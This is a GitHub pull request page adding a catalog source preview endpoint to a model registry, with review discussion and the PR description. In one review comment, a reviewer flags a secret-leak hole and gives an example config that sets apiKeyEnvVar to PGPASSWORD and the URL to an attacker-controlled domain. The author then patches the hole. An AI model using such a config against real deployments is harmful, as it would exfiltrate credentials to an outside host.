feat: catalog preview endpoint#1918
Conversation
61c39ee to
4730746
Compare
pboyd
left a comment
There was a problem hiding this comment.
I'm still testing this, but I see a security problem with the HF preview functionality. The ability to set the URL and the environment variable name would allow an attacker to leak at least the HF token and (unless I missed some validation) unrelated environment variables. For example:
type: hf
includedModels:
- "microsoft/*"
properties:
apiKeyEnvVar: PGPASSWORD
url: https://some-attacker-controlled-domain.com
pboyd
left a comment
There was a problem hiding this comment.
Outside of the security thing, and the merge conflict this looks really good. I tested it and it's working well.
For anyone else who wants to try it:
$ curl -s -F config=@config.yaml -F catalogData=@catalog/internal/catalog/testdata/dev-community-models.yaml 'http://localhost:8082/api/model_catalog/v1alpha1/sources/preview' | jq .
{
"items": [
{
"included": true,
"name": "open-models/falcon-mini-2b"
},
{
"included": true,
"name": "quantum-research/sentiment-analyzer-base"
},
{
"included": true,
"name": "indie-ai/creative-writer-3b"
},
{
"included": true,
"name": "alpha-labs/translation-mini-1b"
}
],
"nextPageToken": "",
"pageSize": 10,
"size": 4,
"summary": {
"excludedModels": 0,
"includedModels": 4,
"totalModels": 4
}
}
Where config.yaml is:
type: yaml
One thing that's a little annoying is that I can't use just paste a full source config entry. For instance, I took this from dev-sources.yaml:
name: "Community and Custom Models"
id: community_custom_models
type: yaml
enabled: true
But I can't preview it because of the extra fields (name, id, enabled). I know they're meaningless for preview, but could it ignore the extra fields so we can preview the same format that we'll save later?
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
c3e7cdf to
f33d223
Compare
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
thanks for your review @pboyd , yes indeed this a serious security concern! I added a logic in preview to delete the url property here 1ae1751 and I have also added a log warning when someone tries to use a custom url for the hf type a69d9db |
After f9a85f1 it should be possible the use a full source |
|
Thanks for the fixes. /lgtm |
Signed-off-by: Alessio Pragliola <seth.pro@gmail.com>
|
[APPROVALNOTIFIER] This PR is APPROVED This pull-request has been approved by: Al-Pragliola The full list of commands accepted by this bot can be found here. The pull request process is described here DetailsNeeds approval from an approver in each of these files:
Approvers can indicate their approval by writing |
sync: main to stable keep [1891](kubeflow#1891) keep [1959](kubeflow#1959) keep [1961](kubeflow#1961) keep [1955](kubeflow#1955) keep [1957](kubeflow#1957) keep [1918](kubeflow#1918) keep [759](#759) keep [1975](kubeflow#1975) keep [1976](kubeflow#1976) keep [1963](kubeflow#1963) keep [801](#801)
Description
In this PR we add a Catalog Source Preview feature that allows users to test and validate catalog source configurations before applying them to the model registry.
Key Features
Bug Fixes
Examples
YAML Source Example
config.yaml (source configuration):
catalogData.yaml (optional, for stateless mode):
Hugging Face Source Example
config.yaml:
How Has This Been Tested?
local dev environment -- valid HF api key -- unit tests
Merge criteria:
DCOcheck)ok-to-testhas been added to the PR.